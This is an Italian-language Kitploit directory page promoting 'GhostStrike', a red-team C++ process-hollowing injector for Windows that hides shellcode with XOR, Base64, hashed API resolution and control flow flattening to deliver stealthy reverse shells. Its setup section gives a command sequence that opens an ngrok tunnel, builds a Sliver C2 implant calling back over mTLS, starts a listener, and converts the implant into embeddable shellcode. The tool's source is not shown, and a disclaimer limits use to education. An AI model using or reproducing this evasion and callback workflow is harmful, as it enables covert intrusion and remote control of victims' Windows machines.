Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
GhostStrike — Iniettore C++ con process hollowing che cifra e offusca lo shellcode con XOR, Base64 e risoluzione dinamica delle API per distribuire reverse shell furtive su Windows. | Kitploit
Strumenti/GitHubGitHub/stivenhacker/ghoststrike
Strumenti di Crittografia/DecrittografiaShellcodeAnalisi MalwarePenetration TestingCommand and ControlRed TeamingSviluppo Payload
GitHubstivenhacker/ghoststrike

GhostStrike

Iniettore C++ con process hollowing che cifra e offusca lo shellcode con XOR, Base64 e risoluzione dinamica delle API per distribuire reverse shell furtive su Windows.

Vedi Repository
82894202 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

GhostStrike ⚔️

GhostStrike è uno strumento avanzato di cybersecurity progettato per operazioni Red Team, che presenta tecniche sofisticate per eludere il rilevamento ed eseguire il process hollowing sui sistemi Windows.

✨ Funzionalità

  • Risoluzione dinamica delle API: Utilizza un metodo personalizzato basato su hash per risolvere dinamicamente le API di Windows, evitando il rilevamento da parte degli strumenti di sicurezza basati su firme.
  • Codifica/Decodifica Base64: Codifica e decodifica lo shellcode per occultarne la presenza in memoria, rendendone più difficile il rilevamento da parte degli strumenti di analisi statica.
  • Generazione di chiavi crittografiche: Genera chiavi crittografiche sicure utilizzando le API di crittografia di Windows per cifrare e decifrare lo shellcode, aggiungendo un ulteriore livello di protezione.
  • Cifratura/Decifratura XOR: Cifratura basata su XOR, semplice ma efficace, per proteggere lo shellcode durante il processo di iniezione.
  • Control Flow Flattening: Implementa il control flow flattening per offuscare il percorso di esecuzione, complicando l'analisi sia da parte degli strumenti di analisi statica che dinamica.
  • Process Hollowing: Inietta lo shellcode cifrato in un processo Windows legittimo, consentendone l'esecuzione in modo occulto senza destare sospetti.

⚙️ Configurazione

Puoi configurare GhostStrike con i seguenti passaggi:

  1. Crea il servizio Ngrok: ngrok tcp 443
  2. Genera l'impianto Sliver C2: generate --mtls x.tcp.ngrok.io --save YourFile.exe
  3. Crea il listener: mtls --lhost 0.0.0.0 --lport 443
  4. Converti in .bin: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
  5. Converti in shellcode C++: xxd -i YourFile.bin > YourFile.h
  6. Importa YourFile.h in questo codice
  7. Compila e divertiti! 🚀

💻 Requisiti

  • Compilatore C++: Qualsiasi compilatore C++ moderno, come g++, clang++ o Visual Studio, è sufficiente per compilare il codice.

Non sono necessarie dipendenze aggiuntive per compilare GhostStrike. Basta compilare il codice sorgente con il tuo compilatore C++ preferito e sei pronto a partire!

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e all'uso in ambienti controllati. L'uso non autorizzato di GhostStrike al di fuori di questi contesti è severamente vietato. L'autore, @Stiven.Hacker, non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato da questo codice.

🎥 Demo

Guarda una dimostrazione dal vivo di GhostStrike in azione su LinkedIn:

Guarda la demo

Scarica lo strumento